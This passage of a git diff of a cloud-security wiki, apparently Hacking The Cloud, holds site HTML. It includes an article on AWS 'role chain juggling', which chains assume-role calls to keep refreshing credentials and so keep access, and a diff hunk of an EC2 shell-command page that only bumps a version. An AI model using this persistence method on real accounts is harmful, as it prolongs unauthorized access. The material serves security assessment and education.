<input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/post_exploitation/role-chain-juggling.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=role-chain-juggling>Role Chain Juggling<a class=headerlink href=#role-chain-juggling title="Permanent link">&para;</a></h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><a href=https://twitter.com/hotnops>Daniel Heinsen</a> </p> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m21.71 20.29-1.42 1.42a1 1 0 0 1-1.41 0L7 9.85A3.8 3.8 0 0 1 6 10a4 4 0 0 1-3.78-5.3l2.54 2.54.53-.53 1.42-1.42.53-.53L4.7 2.22A4 4 0 0 1 10 6a3.8 3.8 0 0 1-.15 1l11.86 11.88a1 1 0 0 1 0 1.41M2.29 18.88a1 1 0 0 0 0 1.41l1.42 1.42a1 1 0 0 0 1.41 0l5.47-5.46-2.83-2.83M20 2l-4 2v2l-2.17 2.17 2 2L18 8h2l2-4Z"/></svg></span> <strong>Tools mentioned in this article</strong></p> <hr> <p><a href=https://github.com/hotnops/AWSRoleJuggler/ >AWSRoleJuggler</a></p> </li> </ul> </div> <p>When doing an assessment in AWS you may want to maintain access for an extended period of time. You may not have the ability to create a new IAM user, or create a new key for existing users. How else can you extend your access? Role Chain Juggling.</p> <p><a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining>Role chaining</a> is a recognized functionality of AWS in that you can use one assumed role to assume another one. When this happens the expiration field of the credentials is refreshed. This allows us to keep refreshing credentials over an over again.</p> <p>Through this, you can extend your access by chaining <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sts/assume-role.html>assume-role</a> calls.</p> <div class="admonition note"> <p class=admonition-title>Note</p> <p>You can chain the same role multiple times so long as the Trust Policy is configured correctly. Additionally, finding roles that can assume each other will allow you to cycle back and forth.</p> </div> <p>To automate this work Daniel Heinsen developed a <a href=https://github.com/hotnops/AWSRoleJuggler/ >tool</a> to keep the juggling going.</p> <div class=highlight><pre><span></span><code>user@host:$ ./aws_role_juggler.py -h
 usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
 
 optional arguments:
diff --git a/aws/post_exploitation/run_shell_commands_on_ec2/index.html b/aws/post_exploitation/run_shell_commands_on_ec2/index.html
index 820971dc4..5f2170410 100644
--- a/aws/post_exploitation/run_shell_commands_on_ec2/index.html
+++ b/aws/post_exploitation/run_shell_commands_on_ec2/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Leverage privileged access in an AWS account to run arbitrary commands on an EC2 instance."><link href=https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/ rel=canonical><link href=../role-chain-juggling/ rel=prev><link href=../s3_acl_persistence/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Run Shell Commands on EC2 with Send Command or Session Manager - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Run Shell Commands on EC2 with Send Command or Session Manager - Hacking The Cloud"><meta property=og:description content="Leverage privileged access in an AWS account to run arbitrary commands on an EC2 instance."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/run_shell_commands_on_ec2.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Run Shell Commands on EC2 with Send Command or Session Manager - Hacking The Cloud"><meta property=twitter:description content="Leverage privileged access in an AWS account to run arbitrary commands on an EC2 instance."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/run_shell_commands_on_ec2.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Leverage privileged access in an AWS account to run arbitrary commands on an EC2 instance."><link href=https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/ rel=canonical><link href=../role-chain-juggling/ rel=prev><link href=../s3_acl_persistence/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Run Shell Commands on EC2 with Send Command or Session Manager - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Run Shell Commands on EC2 with Send Command or Session Manager - Hacking The Cloud"><meta property=og:description content="Leverage privileged access in an AWS account to run arbitrary commands on an EC2 instance."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/run_shell_commands_on_ec2.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Run Shell Commands on EC2 with Send Command or Session Manager - Hacking The Cloud"><meta property=twitter:description content="Leverage privileged access in an AWS account to run arbitrary commands on an EC2 instance."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/run_shell_commands_on_ec2.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#send-command class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront 